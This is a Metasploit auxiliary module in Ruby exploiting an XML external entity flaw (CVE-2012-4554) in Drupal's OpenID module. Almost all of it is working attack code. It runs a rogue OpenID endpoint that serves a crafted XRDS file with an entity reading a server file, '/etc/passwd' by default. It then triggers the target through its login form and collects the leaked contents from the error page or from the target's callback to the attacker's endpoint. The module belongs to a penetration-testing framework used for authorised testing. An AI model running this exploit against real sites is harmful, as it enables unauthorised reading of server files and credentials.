##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include REXML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Drupal OpenID External Entity Injection',
        'Description' => %q{
          This module abuses an XML External Entity Injection
          vulnerability on the OpenID module from Drupal. The vulnerability exists
          in the parsing of a malformed XRDS file coming from a malicious OpenID
          endpoint. This module has been tested successfully on Drupal 7.15 and
          7.2 with the OpenID module enabled.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Reginaldo Silva', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2012-4554' ],
          [ 'OSVDB', '86429' ],
          [ 'BID', '56103' ],
          [ 'URL', 'https://drupal.org/node/1815912' ],
          [ 'URL', 'https://github.com/drupal/drupal/commit/b9127101ffeca819e74a03fa9f5a48d026c562e5' ],
          [ 'URL', 'https://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ]
        ],
        'DisclosureDate' => '2012-10-17',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']),
        OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"])
      ]
    )
  end

  def xrds_file
    element_entity = <<~EOF
      <!ELEMENT URI ANY>
      <!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">
    EOF

    xml = Document.new

    xml.add(DocType.new('foo', "[ #{element_entity} ]"))

    xml.add_element(
      "xrds:XRDS",
      {
        'xmlns:xrds' => "xri://$xrds",
        'xmlns' => "xri://$xrd*($v*2.0)",
        'xmlns:openid' => "http://openid.net/xmlns/1.0",
      }
    )

    xrd = xml.root.add_element("XRD")

    xrd.add_element(
      "Status",
      {
        "cid" => "verified"
      }
    )
    provider = xrd.add_element("ProviderID")
    provider.text = "xri://@"

    canonical = xrd.add_element("CanonicalID")
    canonical.text = "http://example.com/user"

    service = xrd.add_element("Service")

    type_one = service.add_element("Type")
    type_one.text = "http://specs.openid.net/auth/2.0/signon"

    type_two = service.add_element("Type")
    type_two.text = "http://openid.net/srv/ax/1.0"

    uri = service.add_element("URI")
    uri.text = "METASPLOIT"

    local_id = service.add_element("LocalID")
    local_id.text = "http://example.com/xrds"

    return xml.to_s.gsub(/METASPLOIT/, "#{get_uri}/#{@prefix}/&xxe;/#{@suffix}") # To avoid html encoding
  end

  def check
    signature = Rex::Text.rand_text_alpha(5 + rand(5))
    res = send_openid_auth(signature)

    unless res
      vprint_status("Connection timed out")
      return Exploit::CheckCode::Unknown('Connection timed out')
    end

    if drupal_with_openid?(res, signature)
      return Exploit::CheckCode::Detected('Drupal with OpenID module detected')
    end

    if generated_with_drupal?(res)
      return Exploit::CheckCode::Safe('Drupal detected but OpenID module not found')
    end

    return Exploit::CheckCode::Unknown('Could not determine if target is Drupal')
  end

  def run
    @prefix = Rex::Text.rand_text_alpha(4 + rand(4))
    @suffix = Rex::Text.rand_text_alpha(4 + rand(4))
    exploit
  end

  def primer
    res = send_openid_auth(get_uri)

    if res.nil?
      # nothing to do here...
      service.stop
      return
    end

    unless res.code == 500
      print_warning("Unexpected answer, trying to parse anyway...")
    end

    error_loot = parse_loot(res.body)

    # Check if file was retrieved on the drupal answer
    # Better results, because there isn't URL encoding,
    # plus probably allows to retrieve longer files.
    print_status("Searching loot on the Drupal answer...")
    unless loot?(error_loot)
      # Check if file was leaked to the fake OpenID endpoint
      # Contents are probably URL encoded, plus probably long
      # files aren't full, but something is something :-)
      print_status("Searching loot on HTTP query...")
      loot?(@http_loot)
    end

    # stop the service so the auxiliary module ends
    service.stop
  end

  def on_request_uri(cli, request)
    if request.uri =~ /#{@prefix}/
      vprint_status("Signature found, parsing file...")
      @http_loot = parse_loot(request.uri)
      return
    end

    print_status("Sending XRDS...")
    send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' })
  end

  def send_openid_auth(identifier)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.to_s, "/"),
      'method' => 'POST',
      'vars_get' => {
        "q" => "node",
        "destination" => "node"
      },
      'vars_post' => {
        "openid_identifier" => identifier,
        "name" => "",
        "pass" => "",
        "form_id" => "user_login_block",
        "op" => "Log in"
      }
    })

    return res
  end

  def store(data)
    path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH'])
    print_good("File found and saved to path: #{path}")
  end

  def parse_loot(data)
    return nil if data.blank?

    # Full file found
    if data =~ /#{@prefix}\/(.*)\/#{@suffix}/m
      return $1
    end

    # Partial file found
    if data =~ /#{@prefix}\/(.*)/m
      return $1
    end

    return nil
  end

  def loot?(data)
    return false if data.blank?

    store(data)
    return true
  end

  def drupal_with_openid?(http_response, signature)
    return false if http_response.blank?
    return false unless http_response.code == 200
    return false unless http_response.body =~ /openid_identifier.*#{signature}/

    return true
  end

  def generated_with_drupal?(http_response)
    return false if http_response.blank?
    return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/
    return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/

    return false
  end

end
